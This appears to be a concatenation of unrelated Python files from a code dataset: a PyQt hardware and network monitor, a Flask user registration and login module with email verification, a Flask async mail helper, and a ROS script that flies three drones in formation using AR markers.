child = QtWidgets.QTreeWidgetItem()
child.setText(1, f'{address}')
self.tree_view.topLevelItem(row_index).child(child_index_network).child(child_index_address).addChild(child)
def text_display(self):
"""Fixed Categories displayed"""
# motherboard_items = ["Voltages", "Temperatures", "Fans", "Controls"]
CPU_items = ["Clocks", "Temperatures", "Powers", "Memory"]
RAM_items = ["Load", "Data"]
GPU_items = [
"Clocks",
"Temperatures",
"Load",
"Fans",
"Controls",
"Powers",
"Data",
]
# print(network_IPv4())
# test = network_IPv4()[0]
# print(test[3].ip)
network_items = ["IPv4", "IPv6", "TCP over IPv4", "TCP over IPv6"]
network_attributes = ["Local address", "Remote address"]
network_laddr_IPv4 = []
network_raddr_IPv4 = []
network_laddr_IPv6 = []
network_raddr_IPv6 = []
network_laddr_IPv4_TCP = []
network_raddr_IPv4_TCP = []
network_laddr_IPv6_TCP = []
network_raddr_IPv6_TCP = []
hardwares = [cpu_name(), gpu_name(), "Storage", "Network", "RAM"]
for hardware in hardwares[::-1]:
parent = QtWidgets.QTreeWidgetItem([hardware])
self.tree_view.insertTopLevelItem(0, parent)
for core in core_count0():
child = QtWidgets.QTreeWidgetItem()
child.setText(0, f'Core #{core}')
self.tree_view.topLevelItem(0).addChild(child)
self.get_network(network_IPv4(), network_laddr_IPv4, network_raddr_IPv4)
self.get_network(network_IPv6(), network_laddr_IPv6, network_raddr_IPv6)
self.get_network(network_IPv4_TCP(), network_laddr_IPv4_TCP, network_raddr_IPv4_TCP)
self.get_network(network_IPv6_TCP(), network_laddr_IPv6_TCP, network_raddr_IPv6_TCP)
for item in network_items:
child = QtWidgets.QTreeWidgetItem()
child.setText(0, f'{item}')
for attribute in network_attributes:
sub_children = QtWidgets.QTreeWidgetItem()
sub_children.setText(0, f'{attribute}')
child.addChild(sub_children)
self.tree_view.topLevelItem(3).addChild(child)
# print(network_IPv6()[0])
self.insert_network_to_UI(network_laddr_IPv4, 3, 0, 0)
self.insert_network_to_UI(network_raddr_IPv4, 3, 0, 1)
self.insert_network_to_UI(network_laddr_IPv6, 3, 1, 0)
self.insert_network_to_UI(network_raddr_IPv6, 3, 1, 1)
self.insert_network_to_UI(network_laddr_IPv4_TCP, 3, 2, 0)
self.insert_network_to_UI(network_raddr_IPv4_TCP, 3, 2, 1)
self.insert_network_to_UI(network_laddr_IPv6_TCP, 3, 3, 0)
self.insert_network_to_UI(network_raddr_IPv6_TCP, 3, 3, 1)
child = QtWidgets.QTreeWidgetItem()
child.setText(0, f'Temperature')
self.tree_view.topLevelItem(0).addChild(child)
# self.tree_view.topLevelItem(1).child(1).setText(1, "Hi")
# self.tree_view.topLevelItem(1).child(1).setText(2, "Mo")
# self.tree_view.topLevelItem(1).child(1).setText(3, "Bye")
self.tree_view.topLevelItem(0).child(0).setText(1, str(core_count0()[0]))
temperature = QtWidgets.QTreeWidgetItem()
temperature.setText(0, "Temperature")
self.tree_view.topLevelItem(1).addChild(temperature) # "GPU"
usage = QtWidgets.QTreeWidgetItem()
usage.setText(0, "Usage")
self.tree_view.topLevelItem(1).addChild(usage) # "GPU"
usage = QtWidgets.QTreeWidgetItem()
usage.setText(0, "Usage")
self.tree_view.topLevelItem(4).addChild(usage) # "RAM"
# print(cpu_name())
def update_values(self):
"""Update values constantly to display up to date information, store max and min for each category."""
#Initialize all necessary variables here before the loop
# print(cpu_temperature())
gpu_min = gpu_usage()
gpu_max = 0
gpu_temp_min = gpu_temp()
gpu_temp_max = 0
memory_min = memory_usage()
memory_max = 0
while True:
corecount = cpu_freq()
cpu_temp_index = self.tree_view.topLevelItem(0).childCount() - 1
cpu_temp = cpu_temperature()
min_cpu_temp = 0
max_cpu_temp = 0
current_cpu_temp = cpu_temp[0]
if self.tree_view.topLevelItem(0).child(cpu_temp_index).text(2):
min_cpu_temp = self.tree_view.topLevelItem(0).child(cpu_temp_index).text(2)
else:
min_cpu_temp = current_cpu_temp
if self.tree_view.topLevelItem(0).child(cpu_temp_index).text(3):
max_cpu_temp = self.tree_view.topLevelItem(0).child(cpu_temp_index).text(3)
else:
min_cpu_temp = current_cpu_temp
min_cpu_temp = min(float(min_cpu_temp), float(current_cpu_temp))
max_cpu_temp = max(float(max_cpu_temp), float(current_cpu_temp))
self.tree_view.topLevelItem(0).child(cpu_temp_index).setText(1, str(current_cpu_temp))
self.tree_view.topLevelItem(0).child(cpu_temp_index).setText(2, str(min_cpu_temp))
self.tree_view.topLevelItem(0).child(cpu_temp_index).setText(3, str(max_cpu_temp))
if gpu_min > gpu_usage():
gpu_min = gpu_usage()
if gpu_max < gpu_usage():
gpu_max = gpu_usage()
self.tree_view.topLevelItem(1).child(1).setText(1, str(gpu_usage()))
self.tree_view.topLevelItem(1).child(1).setText(2, str(gpu_min))
self.tree_view.topLevelItem(1).child(1).setText(3, str(gpu_max))
if memory_min > memory_usage():
memory_min = memory_usage()
if memory_max < memory_usage():
memory_max = memory_usage()
self.tree_view.topLevelItem(4).child(0).setText(1, str(memory_usage()))
self.tree_view.topLevelItem(4).child(0).setText(2, str(memory_min))
self.tree_view.topLevelItem(4).child(0).setText(3, str(memory_max))
# add more values to print out from here
time.sleep(1)
# def load_ui(self):
# loader = QUiLoader()
# path = os.fspath(Path(__file__).resolve().parent / "form.ui")
# ui_file = QFile(path)
# ui_file.open(QFile.ReadOnly)
# loader.load(ui_file, self)
# ui_file.close()
if __name__ == "__main__":
app = QApplication([])
widget = Widget()
update_values_thread = threading.Thread(
target=widget.update_values, args=(), daemon=True
)
widget.text_display()
update_values_thread.start()
widget.show()
sys.exit(app.exec_())
|
auth.py | import functools
from werkzeug.local import LocalProxy
from flask import (
Blueprint, flash, g, redirect, render_template, request, session, url_for, current_app, make_response
)
from werkzeug.security import check_password_hash, generate_password_hash
from threading import Thread
import time, datetime, re
from .database import getDatabase
from .api import ImageCode, generateCode, sendMail, getData, getGroupName
authbp = Blueprint('auth', __name__, url_prefix='/auth')
@authbp.route('/register', methods=('GET', 'POST'))
def register():
if g.user:
return redirect(url_for('index.index'))
if request.method == 'POST':
username = request.form['username'] #用户名
email = request.form['email'] #邮箱
emailvcode = request.form['emailcode'] #邮箱验证码
password = request.form['password'] #密码
repassword = request.form['repassword'] #确认密码
if 'register' in request.form:
ip = request.remote_addr
database = getDatabase()
cursor = database.cursor()
user = checkUser(cursor, username, email) #从数据库查找用户记录
error = None
if user is not None:
error = '该用户已存在'
elif password != repassword:
error = '两次密码不一致'
elif emailvcode != session['emailvcode']:
error = '验证码错误'
if error is None:
dtime = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
cursor.execute( #插入新用户
'INSERT INTO user(uuid, name, ip, password, email, registertime, lastlogin)'
'VALUES(null, %s, %s, %s, %s, %s, %s);'
, (username, ip, generate_password_hash(password), email, dtime, dtime)
)
cursor.execute( #获取新用户的uuid
'SELECT LAST_INSERT_ID();'
)
id = cursor.fetchone()
cursor.execute( #插入新用户的详细信息
'INSERT INTO userinfo(uuid, warn, permission, collect, point)'
'VALUES(%s, %s, %s, %s, %s);'
, (id, '', 'normal', '', '0')
)
session.clear()
session['userID'] = getData(cursor, 'user', 'uuid', id)
session['userInfo'] = getData(cursor, 'userinfo', 'uuid', id)
return redirect(url_for('auth.login'))
flash(error)
else:
database = getDatabase()
cursor = database.cursor()
if checkUser(cursor, username, email) is not None:
flash("用户已存在")
else:
sendEmail(request)
return render_template('auth/register.html',
userdata={ "username":username,
"password":password,
"repassword":repassword,
"email":email})
return render_template('auth/register.html', userdata={})
def sendEmail(request):
dest = request.form['email']
database = getDatabase()
cursor = database.cursor()
cursor.execute(
'SELECT * FROM mail WHERE destination=%s;', (dest,)
)
mail = cursor.fetchone()
if len(dest) > 7 and re.match("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$", dest) != None:
#间隔两分钟才能发送邮件
if mail is None or time.time() - mail[1] > 120:
app = current_app._get_current_object()
vcode = generateCode() #生成验证码
thr = Thread(target = sendMail, args = [app, dest, vcode])
thr.start() #异步发送邮件
session['emailvcode'] = vcode
if mail is None:
cursor.execute(
'INSERT INTO mail(destination, posttime) '
'VALUES(%s, %s);', (dest, time.time(),)
)
else:
cursor.execute(
'UPDATE mail SET posttime=%s WHERE destination=%s', (time.time(), dest,)
)
else:
flash('发送邮件过于频繁')
else:
flash('邮箱格式不正确')
@authbp.route('/login', methods=('GET', 'POST'))
def login():
if g.user:
return redirect(url_for('index.index'))
if request.method == 'POST':
username = request.form['username'] #用户名
password = request.form['password'] #密码
vcode = request.form['verifycode'] #验证码
database = getDatabase()
cursor = database.cursor()
cursor.execute(
'SELECT uuid,password FROM user WHERE name=%s OR email=%s;', (username, username,)
) #从数据库查找用户记录
user = cursor.fetchone()
error = None
if user is None or not check_password_hash(user[1], password):
error = '用户名或密码错误！'
elif 'imageCode' not in session.keys() or vcode.lower() != session['imageCode'].lower():
error = '验证码错误！'
if error is None:
dtime = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
cursor.execute(
'UPDATE user SET lastlogin=%s WHERE uuid=%s', (dtime, user[0],)
)
session.clear()
session['userID'] = getData(cursor, 'user', 'uuid', user[0])
session['userInfo'] = getData(cursor, 'userinfo', 'uuid', user[0])
return redirect(url_for('index.index'))
flash(error)
return render_template('auth/login.html', userdata={"username":username, "password":password})
return render_template('auth/login.html', userdata={})
@authbp.route('/imageCode')
def imageCode():
return ImageCode().getImageCode()
#登出
@authbp.route('/logout')
def logout():
if 'userID' in session.keys():
session.clear()
return redirect(url_for('index.index'))
@authbp.before_app_request
def loadLoginedUser():
user = session.get('userID')
userinfo = session.get('userInfo')
session.permanent = True #开启持久化session
if 'posts' not in session.keys():
session['posts'] = [] #记录阅读过的帖子
if user is None:
g.user = None
g.userinfo = None
g.group = None
else:
cursor = getDatabase().cursor()
g.user = getData(cursor, 'user', 'uuid', user[0])
g.userinfo = getData(cursor, 'userinfo', 'uuid', user[0])
g.group = [int(g.userinfo[4]/100), g.userinfo[4]%100, getGroupName(g.userinfo[2])]
#需要登陆检测
def loginRequired(view):
@functools.wraps(view)
def wrappedView(**kwargs):
if g.user is None:
return redirect(url_for('auth.login'))
return view(**kwargs)
return wrappedView
#查询是否存在一个用户
def checkUser(cursor, name, email):
cursor.execute(
'SELECT uuid FROM user WHERE name=%s OR email=%s;', (name, email, )
)
user = cursor.fetchone() #从数据库查找用户记录
return user |
email.py | from threading import Thread
from flask import current_app
from flask_mail import Message
from bkmrk import mail
def send_async_email(app, msg):
with app.app_context():
mail.send(msg)
def send_email(subject, *, sender, recipients, text_body, html_body): # noqa: E999
msg = Message(subject, sender=sender, recipients=recipients)
msg.body = text_body
msg.html = html_body
Thread(target=send_async_email, args=(current_app._get_current_object(), msg)).start()
|
triangle.py | #! /usr/bin/env python
import rospy
from time import time, sleep
from datetime import datetime
from ar_track_alvar_msgs.msg import AlvarMarkers
from controlmulti import *
from callback_alvar import *
if __name__ == '__main__':
# try:
rospy.init_node('control_node', anonymous= False)
rate = rospy.Rate(10)
drone_1 = ('192.168.11.40', 8889)
drone_2 = ('192.168.11.33', 8889)
drone_3 = ('192.168.11.23', 8889)
drone = [drone_1, drone_2, drone_3]
#goal key for calling markers' goal
goal = ["front22","left26", "right24"]
# drone_4 = ('192.168.11.57', 8889)
AlvarMsg = rospy.wait_for_message('/ar_pose_marker', AlvarMarkers)
sleep(1)
receiveThread = threading.Thread(target=receive)
receiveThread.daemon = True
receiveThread.start()
#enter sdk mode
send("command", 0, drone_1)
send("command", 0, drone_2)
send("command", 0, drone_3)
sleep(3)
#takeoff
send("takeoff", 0, drone_1)
send("takeoff", 0, drone_2)
send("takeoff", 0, drone_3)
sleep(8)
#form a line to a non AR (manual)
#use marker first to get the position
send("go -100 -20 60 10", 0, drone_1)
send("go 70 20 100 10 ", 0, drone_2)
send("go 70 30 60 10", 0, drone_3)
sleep(1)
def feedbackcontrol(drone,goal):
count = 0
robot_in_pos = False
i = 0
while not rospy.is_shutdown():
for N in drone:
if count == 40:
send("land", 0, drone[N])
# send("land", 0, drone_2)
# send("land", 0, drone_3)
print("Mission failed")
sock1.close()
rospy.signal_shutdown('End of testing')
else:
if not robot_in_pos:
AlvarMsg = rospy.wait_for_message('/ar_pose_marker', AlvarMarkers)
(drone_x, drone_y, goal_x, goal_y) = callback_alvmarker(AlvarMsg)
if drone_x != 0.0 and drone_y != 0.0 and goal_x[i] != 0.0 and goal_y[i] != 0.0:
#rotate drone to initial angle
print('\r\nDrone Position:')
print('x = %.2f' % drone_x)
print('y = %.2f' % drone_y)
print('')
sleep(1)
robot_in_pos = True
elif drone_x != 0.0 and drone_y != 0.0 and goal_x[i] == 0.0 and goal_y[i] == 0.0:
print("Mission completed successfully!")
robot_in_pos = False
i += 1
if i == 1:
robot_in_pos = False
send("land", 0, drone[N])
# send("land", 0, drone_2)
# send("land", 0, drone_3)
print("Mission completed successfully!")
sock1.close()
rospy.signal_shutdown('End of testing')
else:
robot_in_pos = False
count += 1
else:
#update the drone's current position
(drone_x, drone_y, goal_x, goal_y) = callback_alvmarker(AlvarMsg)
print ("drone x: %3.3f , drone y: %3.3f" % (drone_x, drone_y))
for j in drone:
status = move_xy(goal_x[i], goal_y[i], drone_x, drone_y, drone[j])
# sleep(1)
# status = move_xy(goal_x[i], goal_y[i], drone_x, drone_y, drone_2)
sleep(1)
if status == 'Goal Position reached':
print("Mission completed successfully!")
robot_in_pos = False
i += 1
if i == 1: #number of goals
robot_in_pos = False
send("land", 0, drone)
# send("land", 0, drone_2)
print("Mission completed successfully!")
sock1.close()
rospy.signal_shutdown('End of testing')
else:
count += 1
drone_x, drone_y = (0.0, 0.0)
goal_x[i], goal_y[i] = (0.0, 0.0)
robot_in_pos = False
feedbackcontrol(drone[0], "front22")
feedbackcontrol(drone[1], "left26")
feedbackcontrol(drone[2], "right24")
# except rospy.ROSInterruptException:
# send("land", 0, drone_1)
# send("land", 0, drone_2)
# sock1.close()
# print('Simulation terminated')
# pass |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.